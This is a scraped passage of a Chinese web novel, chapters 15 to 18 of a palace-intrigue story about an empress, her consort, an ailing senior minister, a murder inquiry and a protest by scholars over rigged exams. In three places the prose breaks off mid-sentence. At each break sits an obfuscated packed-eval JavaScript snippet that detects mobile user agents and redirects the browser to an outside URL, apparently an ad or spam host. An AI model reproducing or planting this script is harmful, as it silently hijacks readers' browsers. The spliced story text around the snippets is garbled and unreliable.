陆长行抬眸,眼尾的红痣似一点朱砂,红得妖冶。他抚着腕间银镯,声音清冷:“年迈之人,最怕寿数将近;更怕一世清明,临了覆灭。若在病重之际,面对排山倒海的权势流逝,名声损尽,想必一脚踏进黄泉也要奋力一搏。届时,所能仰仗之人只有陛下。而非看似锦簇,实则一团污秽、因利而聚的诸臣。” 裴源目光深邃如渊,轻声叹道:“君后果然是朕的良臣。” 陆长行微微一笑,眉眼间尽是从容:“臣,只是在与陛下讨论如何捍卫君后之位而已,所言若有僭越,还望陛下恕罪。” 15. 第 15 章 翌日,空气陡然转寒,春和景明的大晟城竟突遭一场暴雨侵袭。 齐翁卿不幸染上风寒,只得告病在府中修养。 于年迈之人而言,头疼脑热本是寻常,一开始无人将此事放在心上,就连齐翁自己也以为躺上两日便会好转。 然而,寒症却突然加重,本就年迈的老臣,仿佛一夜之间老了十岁,行动皆需人搀扶,尤其不能见风,否则便会咳嗽不止。 每次剧烈咳嗽,心肺似被撕裂一般,不仅呼吸粗重,肺中亦回响不歇,仿佛加了风箱。甚至嗓子像含了刀片,不仅话说的费劲,就连汤药都难以下咽。 起初,尚有朝臣入府探望,并围聚榻前商议朝中政务,可连着六七日未见齐翁上朝,又得知他嗓子嘶哑、连话都说不清晰,诸臣实在不便叨扰,干脆私下商议后,直接将政务呈报给了凤帝。 凤帝对待朝堂之事依旧如常,既不质问,也不反驳,朱批过后,分发执行。齐翁无需操持政务,本该日渐好转,然而,诸多消息传至齐太师府后,她的身体却每况愈下,有时咳得甚至能背过气去。 消失传入凝辉殿时,凤帝正翻阅着大理寺递上来的:刘丝柳死亡案的案册,闻言长长喟叹一声:“都说老小孩、老小孩,这齐翁也真是的,一把年纪了还这么任性,就算惦记朝堂之事,也要顾念自己的身子啊,还当自己是三四十岁的壮年呢。” 她说着,抬手示意门外静候的乌宛白入殿,仔细叮嘱:“朕私库有株百年灵芝,你亲自取了送去齐府,叮嘱齐翁勿要多思多虑,国事自有诸位爱卿商讨议定,众人拾柴,缺了谁,也能凑起一把火。让她少思少虑,好生修养。” 乌宛白躬身退出后,裴源也草草翻完了刑案卷册。 刘丝柳案,大理寺彻查了七日,如今递上的卷册,凶手直指工部侍郎纪妃。 起因是大理寺怀疑刘丝柳的死,与此次工部修缮贡院那三万两白银去向有些干系,故而翻阅账簿,发现经办主事为工部侍郎纪妃。 大理寺顺藤摸瓜,发现三年前因先帝驾崩,工部修缮皇陵时,一场暴雨冲毁了诸多建材,致使工部亏损两万余两,为填补窟窿,主事纪妃被迫做假账。又为掩盖这个漏洞,无奈向地下钱庄借高额贷,三年利滚利已达五万两,而今,钱庄以她家人生命相威胁,她不得不故技重施,欲在此次修缮的贡院的账簿上动手脚,却不想被刘丝柳发现猫腻。 纪妃担心东窗事发,故而铤而走险,杀掉刘丝柳。 这推理果然是条理清晰,有鼻子有眼,裴源倚靠椅背,看着堂下伫立的大理寺卿韩惜灵道:“如此说来,这工部侍郎果然很有嫌疑。” 韩惜灵闻言颔首:“陛下圣明!” “嗯。”裴源应声,摩挲着指腹上的黑玉扳指随口道:“只是朕有一事不明,这暴雨冲毁建材本是天灾,工部如实上报就好了,这纪妃莫不是脑子不好?两万两白银可不是什么小数目,让朕拿都要肉疼一下,她一个小小侍郎,怎么敢的?” 韩惜灵似早有应对,开口回道:“冲毁建材是天灾,可也是人祸。” “哦?”裴源微微挑眉,语气带了几分探究:“这话从何说起?” 韩惜灵道:“暴雨前夕,作为主事的纪妃本该有所预料,提前做好防范规避风险。然而她却玩忽职守,将匠人的担忧当作耳旁风,甚至醉酒误事。如此一来,天灾便成了人祸。” 裴源微微挑眉,语气不疾不徐:“原来如此。” 韩惜灵眼眸低垂,眼底一片阴霾,开口时语气低沉,仿佛字字透着几分阴鸷:“陛下,冲毁建材虽有天灾之由,然人祸之责更重。纪妃非但未曾主动请罪,反而巧作假账,蒙蔽圣聪,此乃欺君之罪。更甚者,她竟不顾后果,与钱庄私订契约,致使利滚利至巨额,不得不贪墨贡院修缮之资,从中牟利。种种行径,皆可见其脾性低劣,心术不正。故而臣推断,刘大人之死,必出自纪妃之手!如此丧心之人,若不严惩,何以服众?还望陛下明察秋毫,严惩不贷,以儆效尤。” 殿内一片死寂。 良久,裴源嘴角勾起一丝若有若无的笑,话锋一转:“韩爱卿是不是好久没见过韩柏了?” 韩惜灵微微一愣,倏地抬眸看向凤帝。见女子嘴角微微上扬,满面从容,仿佛只是随意说了一句寻常话。 韩惜灵一时有些不明所以,却又隐隐感到几分紧张忌惮。于是微微敛眉,低声说道:“自柏儿入宫,臣便再未见过他了。”她沉默片刻,语气中带着一丝恳切:“韩柏自幼骄纵,若有失礼之处,还望陛下念其年幼,宽宥他一二。” 裴源语气淡然:“韩爱卿过谦了。韩柏才情出众,性子率真,朕素来喜爱。朕念他久未见你,故而在你入宫前,便命他来此候着,此刻应在偏殿。爱卿不妨去见见他。” 韩惜灵愈发困惑,沉默片刻后,语气坚定道:“陛下厚爱,臣本不该推辞,但柏儿如今已是陛下的后君,不该与前朝臣子交涉过密。” 裴源微微一笑,语气不容置疑:“爱卿去见见吧,兴许韩侍君有话对你说呢。” 韩惜灵微微蹙眉,心知再拒已然不妥,便躬身道:“臣领旨。”随后退至殿门之外,由计安引路,前往偏殿。 裴源敛起嘴角的笑意,视线重新落在案卷上,凤眸如刃,冷冷扫过密密麻麻的文字,似要将其中的妄言千刀万剐。 偏殿中,韩柏早已翘首以盼。终于见到韩惜灵,星星眼瞬间溢出泪光,他不管不顾的冲入母亲怀中,带着几分哽咽:“娘!” 韩惜灵原本心绪复杂,但见到爱子,心底也溢出几分舐犊之情,她轻抚他的头,语气虽带着责备,却满是温柔:“都是后君了,怎么还如此不知稳妥,陛下怎么会喜欢你?” 韩柏仰起头,一脸娇矜,嘟囔道:“娘怎如此贬低孩儿?陛下可喜欢我了,不仅寻了古籍乐谱予我,还将国库那把古琴凤焦与我把玩。这几日都来听我抚琴,还教我玩一些稀奇古怪的纸牌。”他凑上前,压低声音又道:“孩儿现在可比宸贵君还受宠呢。陛下说了,等正榜公布之日,就封我为君。” 韩惜灵微微一愣。 韩柏小声问她:“娘,正榜到底何时公布啊?” 韩惜灵严肃道:“后宫不得干政,你也不要过问政务。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133943|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩柏撅了噘嘴,小声嘟囔:“哦。” 少年情绪来去如风,转瞬又是满脸欢颜:“爹爹近来好吗?大姐二姐呢?她们可都好吗?” 面对爱子,韩惜灵耐心十足,不但一一作答,且言辞宠溺,不知不觉,母子叙话临近尾声。韩惜灵不由问道:“近来,陛下可与你说过什么特别的话吗?” 见母亲一脸正色,韩柏不敢马虎,拧眉深思良久后,实在没有头绪,猜测道:“难道是苏合香?” 韩惜灵疑惑:“什么苏合香?” 韩柏:“就是孩儿学琴时,爹爹点给我的。陛下说,那味道她好像在哪闻到过,但一时想不起来了。除此之外,便无特别的话了。” 韩惜灵一头雾水离了皇宫,回了府上后,便与夫郎要了这苏合香。青烟袅袅,香气似有灵性,绕过鼻尖,直透心肺。 恍惚间,思绪清明几分,脑海里也不自觉飘过一句话,竟与韩柏转述凤帝之语一模一样。 那味道她好像在哪闻到过,但一时想不起来了。 ** 又过两日,齐翁大限将至的消息,悄然在诸臣中传开。 这话不知怎么传入了齐翁卿的耳中。 齐翁竟不顾体虚,坐着轮椅参加了翌日的朝会。 虽然时不时的咳声扰乱了凤帝的决策,但凤帝念其年迈,未曾计较,反而宣布散朝前,叮嘱她好好将养身体。 齐翁浑浊的眼眸中带着三分凌厉,扫过堂下诸臣:“陛下放心,区区风寒不足以让臣倒下!为了江山社稷,臣必鞠躬尽瘁。臣的大限之日,只能是臣以死相谏之时!” 宣政殿一片寂静,诸臣神色各异,仿佛各怀心思。 乌宛白见势高宣:“散……” 朝字尚未落下,禁军卫统领忽而入殿奏禀:“陛下,朱雀门外跪满素衣学子,索要公道!” 殿中一时哗然,凤帝亦眉头紧锁,仿佛不明其意:“去看看。” 虽已至辰时,可晨雾未散,凤帝与诸臣踏上城楼,鸡血书写的"公道"二字在青石板上蜿蜒,血红穿过迷雾,映入众人的眼帘,为首的寒门学子声嘶力竭的嘶吼。 “苦读诗书三千卷,不及高门谈笑间。数载苦读沦为笑谈,悲矣,哀矣~” 城楼之上的裴源想近身看的分明,却被陆萧玉拦在身前:“陛下不可!迷雾有利埋伏,小心暗箭。” 话音未落,那学子猛地起身,声音激昂而愤懑:“科场舞弊,朝臣徇私!高门权贵相互勾结,幕后更有权势滔天之人只手遮天,任由奸佞横行无忌,如入无人之境。寒门子弟却只能望门兴叹!试问,这朝堂之上,还有没有一丝清明?这科举,还有没有一丝公平?天理何在?公道何在!” 说完,决绝冲向朱雀门,碰的一声闷响,额间血肉模糊一片,人也晕倒在宫门之前。 两息的死寂后,跪地的学子们纷纷起身,满目愤慨,齐声高呼,激昂的呐喊穿破迷雾,震得城楼上的众人胸口发紧,心跳加剧。 “昏君无能,朝臣徇私,权臣当政;君不君,臣不臣,乱纲常;长此以往,社稷蒙尘,家国必亡!” 16. 第 16 章 一句又一句的呐喊声,带着无尽的回响,在长街之上回荡,在半空之中徘徊。 众臣有些魂不守舍,仿佛连自己是如何下的城楼都不曾知晓。 从头至尾,有的人甚至连发生了什么都不知道,只知快散朝时禁军卫来报,学子们齐齐跪于朱雀门前,索要公道。 可还未张榜,到底欠了何人公道? “昏君无能,朝臣徇私,权臣当政;君不君,臣不臣,乱纲常;长此以往,社稷蒙尘,家国必亡!” 朱雀门外,学子们的高呼声不绝于耳,每一个字仿佛都带着极致的愤怒,声声鹤唳,字字泣血。有的朝臣早已心存不满,声称学子非学子,而是作乱的刁民,纷纷求凤帝下令严惩,当场绞杀带头闹事之辈,以儆效尤。 然而,凤帝却似丢了魂魄一般,呆立当场。 诸臣又将目光投向齐翁,希望她能谏言一二,务必以狠辣之势,了结当前局面。 齐翁本就身子虚弱,被宫人搀扶着下了城楼时,脸色苍白如纸,四肢更是软绵无力,要不是宫人尽己所能地托扶着她的手臂,恐怕她老臣的威严都难以保全。 对于诸臣的言语,她仿若未曾听见,浑浊的眼眸中透出几分呆滞,嘴角微微翕动,计安就在她的左右,故而听得真切。 她呢喃着:“权臣当政……乱纲常……” 放眼朝堂上下,又有何人能担得起“权臣”二字? 她一生兢兢业业,扶持先帝,又辅佐新帝,管治群臣。上至凤帝,下至民生,桩桩件件,无不是她亲力亲为,一一厘清。 她是至忠之臣,却为何在他人眼中成了扰乱纲常的权臣?又凭何被学子误会污蔑至此? 齐翁耳中嗡鸣作响,眼前一片昏暗,只觉心中气血翻涌,口中涌上浓烈的腥甜。只听‘噗——’的一声,一口鲜血喷薄而出,溅落在冰冷的青石地上,如落泥花瓣,凄凉至极。 她身子一晃,竟直直晕了过去。 “齐翁!”凤帝心焦不已,一声呼唤后,竟也双眼一翻,躺进了乌宛白的怀里。 一墙之隔,城外学子的呼声依旧震天,城内群臣则似群龙无首的虾兵蟹将,乱作一团。 场面如何收尾,裴源浑然不知,只知一觉醒来时,便看到了守在榻前的君后。男子捻弄着手里的叶子牌,正与自己对局消磨时间。 察觉到凤帝醒来,柳叶眸光流转,落在女子的脸上:“陛下,睡得可好?” 裴源撑坐起身,随手拿起一旁摆放的牌,草草扫了一眼牌面,便随意抽出一张落下:“曾芩燕的头伤得如何?” 陆长行不紧不慢地也抽出一张牌落下:“晕了好一会儿,醒来时头隐有阵痛,但并无大碍,服了药正在休养。陛下不必忧心。” 两人你来我往,牌局渐入佳境。 裴源闻言,眉间微蹙,颇有些无奈:“她也是实诚。朕在城楼上听到‘咚’的一声,吓得以为要给她操办丧事了。” 陆长行轻捻手中牌角,微微一笑,道:“虽是做戏,但那么多双眼睛盯着,若不真一点,怕是难以蒙混过去。”他抬眸看向裴源,眼眸中带着几分深意:“陛下可想好如何褒奖她了?” 裴源轻哼一声:“她那小嘴甚是刻薄,若不当着齐翁的面贬损她一番,朕心里不平衡。”她放下最后一张牌,胜负已分:“人都有个毛病,听惯了阿谀奉承,突然听到满口指责,反而会觉得新奇。” 陆长行眸光闪动,似是明悟了凤帝的心思:“陛下高明。与其事后刻意褒奖,不如让她在齐翁跟前露脸,切割了她与陛下的牵扯,陛下更好独坐高台。”他微微一顿,又道:“齐翁心性刚强,或许能让她对曾芩燕刮目相看。” 裴源倚着床榻,从枕下掏出黑玉扳指摩挲把玩:“人心易变,局面易变,走好当下的路即可,未来的事,谁又能说的准?” 陆长行轻瞥凤帝一眼,女子眸光冷淡,神色亦无波澜。事态虽依循计划徐徐推进,可如今,她眉眼之间竟无半分胜局之喜。 陆长行总觉得她的身体里住的着,是个成熟的大人。 否则十岁心龄,心境缘何如枯木逢冬一般? 又或者……那十年间,她经历了十分不堪的过往? 陆长行第一次对自己的判断生出了疑惑,更看不穿,她的记忆,到底停留在了几何。 思量间,殿门轻轻推开,乌宛白小心踱步榻前:“陛下,韩侍君跪在殿外已经半个时辰了,一定要入殿侍疾,再这样下去,恐怕……” 她小心看了眼君后,陆长行拾掇着叶子牌,只字不语。 而凤帝,摩挲着黑玉扳指,良久才道:“让他进来吧。” 柳叶眸微敛,叶子牌也已经被整齐码顺,包进帕子,放进了袖口里。 随着一道明艳身影飞扑进凤帝的怀时,陆长行已起身侧立榻前。 “陛下~”少年的担忧化作嗓间的哽咽,韩柏仰头看着女子的脸,星星眼眸中蕴着泪花:“臣好担心您,求您了,让臣伺候您吧,哪怕是端茶送水也好,别留臣一个人在朝霞殿,臣吃不下也睡不好,心思全在您身上。” 裴源下意识扫了眼陆长行,他依旧还是那副淡淡模样,颔首而立,低垂着眸,仿佛丝毫未将榻前的一幕放在心上,于是才伸手抵着韩柏的额头:“没规矩!” 韩柏一愣,红着脸起身对陆长行行了一礼:“臣给君后请安。” 君后微微点头示意平身,继而对凤帝道:“陛下身侧既有韩侍君侍奉,臣便不多打扰了。栖梧宫里还炖着鸡汤,臣需回去查看,先行告退。” 说罢,一礼,缓步退出了紫宸店。 阳光蒸腾般晒尽了晨时的雾,穿越云层倾洒京城,亦将陆长行的身影拉的很长。 解安默默跟在左右,窸窣的脚步声中,他的思绪也渐渐拉长。 不知陛下早年都经历了什么,只知她头疾频发,无论是昏迷,还是卧榻,唯准君后侍奉左右。 宫中有人说帝后是患难夫妻,陛下虽不宠爱君后,但心底里最信任的人,唯君后一人。 所以,身为罪臣之后的君后统辖六宫,无人敢违逆其右,他身后虽无父族傍身,却有着全天下最大的靠山,那就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151142|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陛下对他的信任。 解安跟了君后三年,也算瞧的明白,陛下她,就是个生性凉薄之人,无论是君后还是后宫诸君,她都没有特别喜爱的。 虽对君后信任,实则是没有更多的选择。 因为陛下不常召见君后。 更多时候,都是君后在默默等待,等待陛下头疾复发,这样他就能候在陛下左右,与陛下同处一室,度过片刻时光。 可那段时光里的陛下都在昏迷,一旦醒来,君后就仿佛没了价值,或去或留,陛下都不甚在意。 他有时会替君后觉得不值,想他孑然一身,又世事看的分明,若能逃离着后宫城墙,天大地大,他一定会过的比现在快乐。 但他偏偏喜欢陛下。 可一个凉薄的人,到底有什么可喜欢的。 陆长行的脚步行的很慢,静默时,腕上银镯随着手指的摩挲起伏,解安看在眼里,忍不住说道:“君后既然放心不下陛下,又何必急着离开?” 腕间起伏顿了一下,陆长行收回拉长的视线,颔首盯着地上的青砖:“韩侍君到底年轻,想必与这时的陛下能说的上话。本宫一把年纪强留在那,韩侍君难免局促,也显得碍眼。” 这时的陛下? 解安虽觉得这几个字有些奇怪,终究没放在心上,继续道:“君后不过二十有四,如何就一把年纪了?” 陆长行轻笑一声:“说了你也不懂。” 说话间,一行人跨过了一道朱红宫门。迎面而来的后君愣了一下,飞快调整情绪对君后行礼。 陆长行打量来人,一袭碧色锦袍,似春日复苏的嫩嫩青草地,一举一动都透着春日复苏的清香。只是嘴角紧抿,仿若心中透着苦闷。 陆长行问:“大晌午的,逸侧君不在殿中好好歇息,这是要去哪?” 傅逸春回:“整日被拘在绮梦殿,不是睡、就是躺,臣都要发霉了,所以四处走走。” 陆长行轻“哦”了一声:“四肢久不动弹也不妥,走走也好。” 傅逸春作势退了一步,为陆长行让去前路。见君后前行而过,忽而再次开口:“听闻今日无数学子齐聚朱雀门前索要公道,君后素来远见,您觉得,是何人欠了这些学子公道?” 陆长行止步,沉默几息,转头将柳叶眸落在男子的脸上:“侧君向来懂得进退,怎地今日这般冒失?若有人将侧君妄议朝政之事拿到朝堂分说,可有想过傅大人的处境?” 傅逸春面无表情道:“前朝与后宫本就千丝万缕,至少,在陛下心里是这样。” 陆长行冷声道:“陛下圣心独裁,非你我二人可以揣测。这两者是否千丝万缕,本宫看不穿,本宫只知,无论事态如何发展,都不是你我可以左右的。侧君又何必多思多想,耗损心力?守好自己的本分,莫要越界!” 傅逸春不以为意地笑了笑:“臣入宫三年,本分了三年,可换来的又是什么?” 说罢,一礼,径自远去。 陆长行望着他的背影,眸色微深:“傅逸春极少这般,你去打探一二,可是发生了什么。” 17. 第 17 章 是夜。 一曲终了,御宴楼的白袖公子轻抚琴面,颤颤弦音戛然而止。 郎君暂未来得及起身,门扉就被轻轻叩响,白袖轻抬眼帘,将门上的倩影收入眼底,这才瞥向了今晚的恩客。 恩客一脸英气,不同于其他娘子头面满头,只低束马尾,头发束的干净整洁,未有一根头发散落在外。 白袖曾见过这位恩客,工部尚书刘丝柳遇害的第二日,大理寺的官员鱼贯而入,而眼前的恩客走在首位,此人正是大理寺卿韩惜灵。 久未听到回应,叩门人加重了力道。 端坐案前饮着香茗的韩惜灵这才懒懒启唇:“进。” 门扉缓缓而来,来人嘴角勾笑,眼眸漫不经心扫了眼室内,最后停落在白袖的脸上:“一壶仙人醉,有劳郎君。” 这便是有事详谈,有意支走自己。 白袖微微一笑,默默退下,并在离开前关闭了房门。 来客是谁,白袖并不关心,只轻拢肩上滑落的披帛一路向前,途径梧桐轩时,门上封条依旧还在。可御宴八子的生意丝毫不受影响。 听闻那刘大人死状奇惨,脖子上被人捅了一个大窟窿,歪头坐在椅子上,一张青白的脸上双目瞪的滴流圆,鲜血流的满地都是,十分骇人。 叫起榻的小二没有防备,冷不丁与刘大人那双死目相对,吓的差点尿了裤子。 白袖恋床,听了尖叫声也没当回事,最后才从叫嚷声得知出了命案,也得知羽扇也不见了踪影。 “白哥哥~” 白袖一路下楼,路过的小倌无一不热情招呼,他轻笑回应着,终于到了二楼的香茗阁。 香茗阁为御宴九子的休息地儿,毕竟,九子所接待的恩客都是京城有头有脸的人物,总有他们不方便伺候的时候。 等待功夫,太过无趣,白袖取出苏和香点燃。 浓郁的辛香使人精神一震,白袖倒了杯仙人醉,侧倚窗前,远眺夜幕,任浓郁的香气浸染他的衣衫。 惬意的时光维持了很久,直至小二叩门,他放下酒杯继续回房待客。 踏入房门时,方才的来客早已不知去向,房中仅剩下韩惜灵一人,女子站在窗前负手而立,感受到了他的临近竟是头也没回。 缓缓靠近的白袖从身后拥着女子,下巴垫在她的肩上,视线顺着韩惜灵的目光远眺着南市的夜景,片刻后,娇嗔低语:“漫漫长夜,韩大人确定要一直冷落奴家吗?” 郎倌言语柔媚无双,任如何坐怀不乱的娘子都难以抵挡。 韩惜灵收回视线,抓着郎君的手腕回过身便扯入了怀中,在其颈上被盖下一个粗重的吻。 白袖嘤咛着倒在她的怀里,却不想,欲深入索取的娘子却骤然顿住。 前一息还温情的眼眸瞬间变的凌厉,吓的白袖背脊生寒:“韩、韩大人为何这般看着奴家?” 韩惜灵不答,只扯着他肩上披帛嗅闻:“你熏的什么香?” 白袖似乎被吓到了,怯怯道:“奴家没有熏香啊。” 韩惜灵将披帛递到他的面前:“那这是什么味道?” 白袖嗅了嗅,恍然道:“这是苏合香,应该是奴家刚刚去香茗阁沾上的。” 香茗阁?苏合香? 韩惜灵猛地推开白袖,踏出房门下了二楼,最后来到了香茗阁,窗前香炉中的苏合香尚未燃尽,袅袅香烟顺着窗户飘到了楼上。 不巧,那间屋子,恰好便是栖梧轩。 韩惜灵沉思良久,再开口时,眼眸锐利,语气冷冽:“这香味带辛,你们一个花楼,点它作甚?” 白袖不明所以,只如实道:“御宴楼阴气重,常发生奇怪的事儿。掌柜便去寺庙寻了这苏合香来,说可驱邪。我们也知这味道特殊,所以只在晚上点。怎么了吗?” 韩惜灵扶着窗户的手隐隐泛白,良久,推开了白袖疾步而去。 白袖被推的一个趔趄,站定后,眉目舒朗,哪还有半分郎倌的娇怯模样。 眼见韩府的马车隐匿在了人群中,白袖垂眸取了香匙将明灭的星火埋进了香灰,等再飘不出辛香,方才开口:“回禀主子,事已成。” 香茗阁中无人应声,只有屋檐下悬着的灯笼骤然摆动,好似脚步踏过房顶时留下的震颤所致。 ** 最后一本奏折批复,裴源只觉得饥肠辘辘,所以径直起身踏出殿外,边走边对乌宛白道:“君后说煲了鸡汤,朕刚好腹饥。不必传轿辇了,你我径直过去,再悄然而归,省的闹的沸沸扬扬。” 乌宛白愣怔的看了眼天幕上半轮明月…… 这个点了,应该只剩鸡骨头了吧? 栖梧宫外的殿门早已紧闭,宫女听见铜环轻叩朱门声急忙上前开门,却不想大门一开,来人竟是凤帝,尚来不及行礼,凤帝已迈着四方步直奔寝殿的方向而去。 宫女脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15167322|164313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色微变,一时有些乱了阵脚,解安亦有些慌不择路。 可作为栖梧宫的掌事宫侍,面对凤帝凌厉的注视,解安还是努力压下心头恐惧,躬身道:“君后说有些积食睡不着,说要出去走走。” 凤帝闻言,伸手碰触茶壶,一片冰凉。 “何时走的?” 解安喉咙一滚:“刚、刚刚。” “刚刚走的,那一时三刻,想必回不来了。” 解安不知如何作答,只悄然拂去额头细汗。 灯火随着夜风摇曳,落入凤眸眼底晦暗不明。 片刻后,凤帝沿着寝宫慢慢踱步,室中陈设井井有条,端庄大气。 拉开衣柜,不同款式的月白锦衣占据大半;拉开妆匣,不同雕花的白玉簪码的齐齐整整。 还真是一个枯燥无趣的男人。 在往前行,一块突兀的盖帘挂在墙上,裴源试探拉开一角,亮在身后的烛火光辉竟突然打在了她的身前。 裴源干脆掀开整张盖帘,一面半身镜赫然出现在她的面前,镜面照出的景物虽有些凹凸不平,可与这里的铜镜相较却是无比清晰。 俨然就是现代技术制作而成。 本想询问这镜子的来历,可几息静默,裴源终究是忍住了; 本想在栖梧宫等待陆长行归来,可一番犹豫,还是作罢。 于是松了盖帘一角,转身而去。 甬道冗长而幽暗,虽有路灯照明,可疾行的凤帝还是被地砖绊了一个趔趄。 “陛下!” 乌宛白扶稳凤帝,方才啐道:“内秩署这些猴崽子办事越来越不利,奴婢明日非把她们的皮扒了不可。” 裴源回头望着平整的地面,声音低沉而冷冽:“与内秩署无关,只是地砖不愿迁就朕罢了。” 乌宛白愣住,再想如何应答时,凤帝已然拂袖而去。 裴源饿的睡不着,反复辗转终于有了些困意,殿门却缓缓启了一条缝,乌宛白的声音随之飘了进来:“陛下,该上朝了。” 裴源:“……” 裴源自比为一匹终年劳碌、无休无止的老黄牛,心中满是无奈。所以看着铜镜里自己那张疲惫的面容,满是幽怨。 终于整理好凤袍迈步跨出殿门,准备迎接群臣新一轮的洗礼,却在看到廊下跪地的君后瞬间,压抑了一晚上的怒火腾燃升起。 “一大早的,君后这又演的哪一出?” 18. 第 18 章 寅未时分,星辰犹在。 户对前九盏宫灯生辉,将君后映照得纤毫毕现。 自子时归来,陆长行从解安口中得知凤帝曾踏入栖梧宫,却未留只字片语径自离去。他便知晓,凤帝心中已然震怒。 两个多时辰的跪候,陆长行双膝早已麻木,一张脸亦无半分血色。 听到凤帝质问,他方才缓缓抬头,她想看清楚凤帝的神色,奈何女子背光而立,只闻其声,判断凤帝此刻定是满心不悦。于是端端正正俯下身躯,额头贴着冰凉的青石地。 “臣,有违宫规,失君后之责,难为后宫表率,望陛下责罚。” 裴源垂眸盯着陆长行的躬下的后脊,许是夜深寒重,男子纤薄的身躯微有颤意。裴源看在眼中,凤眸里蕴藏的锐色渐渐收敛几分,可内心翻涌的情绪却不受她的所控。 漫长静默里,乌宛白见凤帝的手松了紧,紧了松,最终沉沉的叹了口气,道:“没人在意你昨夜干了什么,朕也懒的倾听!” 说罢,一拂广袖,明黄的衣袖扫过,掀起了君后因脱簪而散落的发丝,连同君后的手臂,皆被路过的长裾倾压覆盖。 “陛下,”埋在长裾下的手一把握住了裴源的脚踝,陆长行跪在女子腿边,语带哀求:“臣知错了,你别生气了,好不好?” 他的手冰凉,寒意从脚踝直抵心口,汹涌的躁意似被碾压,取而带之的,是裴源眼底的冷漠,她垂眸与之对视,问他:“生气?那君后说说,朕为何生气?” 柳叶眸微颤,眼尾那颗红痣亦在苍白的脸上溢出血色,君后嘴唇翕动着,似乎羞于启齿,只道:“臣待陛下之心未有丝毫不忠,还望陛下明鉴。” 裴源未动声色,只是紧抿着黑玉扳指,任指腹失血变凉。 “君后太小看朕的肚量了,你与陆萧玉私下相见一事,朕并不在意。” 陆长行愣在原地。 裴源漠然道:“宫墙高耸,围出了一个四方城儿,每日所见是千篇一律的人,穿的是千篇一律的衣裳,戴的是千篇一律的簪,日复一日,年复一年,吃着循环重复的饭菜,等待一个无法钟情如一的人,去过一眼望到头的人生。这样的生活,的确很没意思。” 陆长行愕然抬首,眼底泛红:“陛下……” 裴源看在眼中,转头凝望夜幕:“朕的后宫才俊众多,没了你,朕很快就会有新的君后。你若想走,就干脆利落一些。犹豫反复,看着没劲!” 言罢,裴源跨下石阶走的干脆,再未回头看男子一眼。 天边被太阳扯开了一条光线,很快,宣政殿内一片大亮,乌宛白高宣上朝,群臣齐跪,山呼万岁,却久等不到凤帝的平身。 乌宛白不由看向凤椅主人,旒冕后的凤眸凝望前方,可眼神空洞,不知在思量什么。还是听到了她的轻唤才恍然回神。 “平身。” 群臣齐齐起身,礼部尚书出列奏道:“陛下,昨日诸学子齐聚朱雀门,以春闱朝臣徇私舞弊为由,索求公道。然正榜尚未公布,学子未见名单,何以断言诸臣徇私?臣以为,此乃奸佞之徒暗中挑唆,致使学子妄议朝政,扰乱朝纲。臣请严惩挑拨闹事学子,抓出幕后黑手,以正纲纪,以安朝局。” 然,凤帝端坐于高台之上,目光淡漠,扫视堂下跪拜的群臣,竟一言未发。 便在此时,大理寺卿忽而挺身出列,朗声道:“陛下,臣在查办刘大人遇害一案时,亦对此次考棚起火之事进行了深入探查。经臣多方查证,工部尚书刘丝柳确有贪墨修缮之资。臣以为,诸学子所言并非空穴来风。” 言罢,她跪地奏请:“学子齐聚朱雀门闹事,虽有悖法度,然其根本,不过是要一个公道。臣恳请陛下,容臣重启并彻查贡院起火一案!” 朝堂之上,一片死寂,诸臣目光顷刻间落在韩惜灵的脸上,目光如刃,仿佛要将她千刀万剐。 礼部尚书傅泽惠拂袖而起,目光直射韩惜灵,语气森然:“韩大人这是要为闹事学子撑腰?亦或是将利刃直指同僚,妄议朝堂清浊?” 此言一落,朝堂之上窃窃私语纷杂交错,句句不怀好意的揣测与质疑,韩惜灵听在耳中却分毫不乱,抬眼直视傅泽惠:“傅大人何必震怒,正所谓‘无风不起浪’。这正榜尚未公布,寒门学子已闹成这般模样,若真按礼部敲定的名录张榜,傅大人以为,学子们还只会聚在朱雀门前喊喊口号这么简单?” 傅泽惠面露愠色,语气愈发严厉:“正榜皆由试卷成绩所定,凭的是真才实学。寒门学子才不如人落榜,也是情理之中。她们不知自省,反而聚众闹事,简直妄读圣贤教诲的道理!” 韩惜灵微微挑眉,嘴角勾起一抹冷笑,语气却平静如常:“谁未妄读圣贤?傅大人指的是精于斗蟋蟀的广春兰,还是流连于赌场的毛韫玉,亦或是春楼常客冉小雯……这些京城有名的纨绔女纷纷在列。如此一份榜单张贴出去,傅大人可以不理会学子愤慨,难道就不担心全天下的百姓直戳你的脊梁骨吗?” 